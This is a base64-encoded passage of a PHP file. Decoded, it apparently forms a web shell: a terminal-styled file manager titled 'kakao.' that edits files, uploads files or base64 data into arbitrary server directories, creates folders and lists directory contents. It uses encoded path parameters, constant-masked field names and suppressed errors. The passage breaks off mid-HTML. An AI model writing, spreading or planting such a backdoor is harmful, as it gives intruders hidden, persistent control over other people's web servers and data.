DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9